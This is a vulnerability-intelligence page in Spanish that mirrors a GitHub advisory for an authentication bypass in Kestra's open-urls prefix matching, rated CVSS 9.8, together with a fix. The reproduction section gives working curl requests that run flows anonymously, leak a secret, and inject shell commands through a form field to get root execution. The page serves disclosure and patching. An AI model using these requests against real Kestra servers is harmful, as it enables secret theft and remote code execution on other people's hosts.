llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Maven · io.kestra:kestra

GHSA-J5CV-8RW9-VV2P

Authentication Bypass via Prefix-Matched open-urls (Unauthenticated Flow Execution, RCE and Secret Disclosure)

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.8
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -21 d de la divulgación
Exposición53 dDesde la divulgación, 29 sept 2026, 8:00 a. m.
Detección50 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaAtender
Priorizar en el próximo ciclo de cambios
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Si fuera un examen, esto vale media nota.Te dejo mi extintor por si acaso.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 1.3.38
Monitoreo
Detectada +1
8 sept 26
29 sept 26
19 nov 26
21 nov 26
8 sept 26
27 sept 26
15 oct 26
3 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.3.38 io.kestra:kestra · -21 d desde divulgación
Divulgación Publicada GHSA-J5CV-8RW9-VV2P divulgada · CVSS 9.8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`AuthenticationFilter` tests the request path against the `open-urls` allow-list with `String.startsWith`, so every entry is a prefix over the whole URL space rather than the one endpoint it names. The shipped default opens `/api/v1/main/executions/webhook/` for the webhook trigger, but the same controller also serves `POST /{namespace}/{id}`; when `{namespace}` is `webhook`, that path satisfies the prefix and the filter skips authentication on the general create-execution handler. An anonymous attacker thereby executes any flow in the `webhook` namespace with attacker-chosen inputs, reads its outputs including any referenced `secret()`, and needs no webhook key.

Vulnerable code

The bypass predicate matches the raw, un-normalised path by prefix, while the adjacent config-endpoint checks correctly use exact equality on the normalised path. Only `isOpenUrl` is weakened. `webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:49-64`:

49                String normalizedPath = normalizePath(request.getPath());
50                boolean isConfigEndpoint = "/api/v1/configs/login".equals(normalizedPath)   // exact, correct
...
55                boolean isOpenUrl = Optional.ofNullable(basicAuthConfiguration.openUrls())
56                    .map(Collection::stream)
57                    .map(stream -> stream.anyMatch(s -> request.getPath().startsWith(s)))  // raw prefix
58                    .orElse(false);
...
63                if (isConfigEndpoint || isOpenUrl || isManagementEndpoint(request) || mcpAuthHandled) {
64                    return chain.proceed(request);        // returns before any credential check

The default config makes this exploitable with no operator action. `cli/src/main/resources/application.yml:165-170`:

165      open-urls:
166        - "/ping"
167        - "/api/v1/executions/webhook/"
168        - "/api/v1/main/executions/webhook/"
169        - "/api/v1/*/executions/webhook/"
170        - "/api/v1/basicAuthValidationErrors"

The prefix opens the general create-execution route, whose every parameter is then anonymously controllable. `webserver/src/main/java/io/kestra/webserver/controllers/api/ExecutionController.java`:

153  @Controller("/api/v1/{tenant}/executions")
...
566    @Post(uri = "/webhook/{namespace}/{id}/{key}{/path}", ...)   // intended open route, requires {key}
...
729    @Post(uri = "/{namespace}/{id}", consumes = MediaType.MULTIPART_FORM_DATA)   // ns=webhook -> prefix match -> no auth
...
743    public Publisher<ExecutionResponse> createExecution(
746        @Nullable @Body MultipartBody inputs,                 // attacker-controlled
747        @Nullable @QueryValue List<String> labels,            // attacker-controlled
748        @QueryValue(defaultValue = "false") Boolean wait,     // attacker-controlled
749        @QueryValue Optional<Integer> revision, ...) {        // attacker-controlled

The general route carries no webhook-key check because keys belong to the trigger route above it; the bypass reaches the ordinary "run this flow" endpoint with authentication removed.

Steps to reproduce

docker run -d --name kestra -p 8080:8080 --user root \
  -e "SECRET_MY_API_KEY=$(printf 'SUPER-SECRET-VALUE-1337' | base64)" \
  kestra/kestra:develop server local
curl -s -X POST 'http://localhost:8080/api/v1/main/basicAuth' \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin@kestra.io","password":"Admin1234"}'

Setup (authenticated). An ordinary webhook-handler flow, not deliberately vulnerable: it passes an input to a shell command and surfaces a secret in `outputs`, both documented patterns.

curl -s -u admin@kestra.io:Admin1234 -X POST http://localhost:8080/api/v1/main/flows \
  -H 'Content-Type: application/x-yaml' --data-binary @- <<'YAML'
id: deploy
namespace: webhook
inputs:
  - id: target
    type: STRING
    defaults: staging
tasks:
  - id: run
    type: io.kestra.plugin.scripts.shell.Commands
    taskRunner:
      type: io.kestra.plugin.core.runner.Process
    commands:
      - echo "deploy {{ inputs.target }}"
  - id: fetchcreds
    type: io.kestra.plugin.core.debug.Return
    format: "{{ secret('MY_API_KEY') }}"
outputs:
  - id: deployKey
    type: STRING
    value: "{{ outputs.fetchcreds.value }}"
YAML

<img width="1582" height="822" alt="image" src="https://github.com/user-attachments/assets/584d7ed4-d315-438e-8dc5-6b8652d710d7" />

Control (no credentials, normal namespace) returns 401:

curl -s -o /dev/null -w '%{http_code}\n' -X POST \
  http://localhost:8080/api/v1/main/executions/company.team/deploy -F 'target=x'   

output
`401`
<img width="1015" height="213" alt="image" src="https://github.com/user-attachments/assets/e42d287d-5a91-4de3-988f-27369fc46611" />

Exploit A, unauthenticated secret disclosure. The `outputs` in the response contain the plaintext secret:

curl -s -X POST 'http://localhost:8080/api/v1/main/executions/webhook/deploy?wait=true' -F 'target=s'
# ..."outputs":{"deployKey":"SUPER-SECRET-VALUE-1337"}...

<img width="1578" height="551" alt="image" src="https://github.com/user-attachments/assets/047aab71-d2fa-4a47-8f47-8398eb0b6f2e" />

Exploit B, unauthenticated root command execution.
The injected input is stored verbatim (visible in the response `inputs`) and expanded by `/bin/sh`; the expanded result appears in the task log, so read it back with the logs endpoint:

EXEC=$(curl -s -X POST 'http://localhost:8080/api/v1/main/executions/webhook/deploy?wait=true' \
  --form-string 'target=x"; echo PWN-$(id -u)-$(hostname); echo "' | grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4)
curl -s -u admin@kestra.io:Admin1234 "http://localhost:8080/api/v1/main/logs/$EXEC" | grep -o 'PWN-[0-9-]*[a-f0-9]*'
# PWN-0-f18a3ef65bee     (uid 0, container hostname)

<img width="1482" height="157" alt="image" src="https://github.com/user-attachments/assets/ea50f7a1-09d6-42a6-8ee6-8bc68711c8ea" />

Proof

Consolidated run on a stock container, auth confirmed enforced, every positive paired with a
401 control:

1. two unauthenticated entry points reach createExecution; controls are 401
   200  entry A                POST /api/v1/main/executions/webhook/deploy
   200  entry B (tenant-less)  POST /api/v1/executions/webhook/deploy
   401  CONTROL                POST /api/v1/main/executions/company.team/deploy

2. unauth SECRET exfiltration via ?wait=true      outputs={"deployKey":"SUPER-SECRET-VALUE-1337"}
   CONTROL company.team/deploy?wait=true -> 401

3. unauth ROOT command execution                  /bin/sh -c ... echo PWN-$(id -u)-$(hostname) ...
   [!!] log shows expanded marker:                PWN-0-f18a3ef65bee

4. no shell task needed - a pure DATA flow        outputs={"leaked":"anon :: SUPER-SECRET-VALUE-1337"}
   still leaks the secret to anon

5. unauth revision pinning                        revision=1 -> 200 ; revision=2 -> 200

6. precondition is exact                          webhook 200 ; webhooks/Webhook/webhook.prod all 401

Impact

Result #2 alone is unauthenticated disclosure of a live instance secret, and result #3 is root command execution on the Kestra host, both from a single anonymous request. Result #4 removes any dependence on a shell task: any flow that merely references a `secret()` in its `outputs` leaks it to an anonymous caller, so the exposed surface is every flow in the `webhook` namespace rather than only ones that shell out. Result #5 means fixing a flow does not revoke anonymous access to its prior revision. Once command execution is obtained the blast radius is the whole host, not the one namespace: the process reads all secrets, KV entries, internal storage and flow sources.

Fix

Stop matching `open-urls` by raw prefix: resolve the route first and mark the intended handlers explicitly, or match the normalised path with real path-segment semantics (an Ant/`PathMatcher` glob, reusing the `normalizedPath` local already computed on line 49) rather than `startsWith` on `request.getPath()`. Tighten the shipped default to the exact webhook shape so no sibling route can collide, and fix line 169, which is written as a glob but evaluated as a literal string:

open-urls:
  - "/ping"
  - "/api/v1/basicAuthValidationErrors"
  - "/api/v1/*/executions/webhook/*/*/*"   # namespace/id/key, three trailing segments

Tested on `kestra/kestra:develop`, OpenJDK 25, H2, 2026-08-06. `GET /api/v1/configs` returned `{"version":"2.0.0-SNAPSHOT","commitId":"75e2580","edition":"OSS"}`.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
io.kestra:kestra≤ 1.3.37
1.3.37
2.0.10
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
mavenio.kestra:kestra
Corregida 1.3.38 -21 d 2.0.10 no afectada
Versiones corregidas1.3.38
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/kestra-io/kestra/security/advisories/GHSA-j5cv-8rw9-vv2p

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.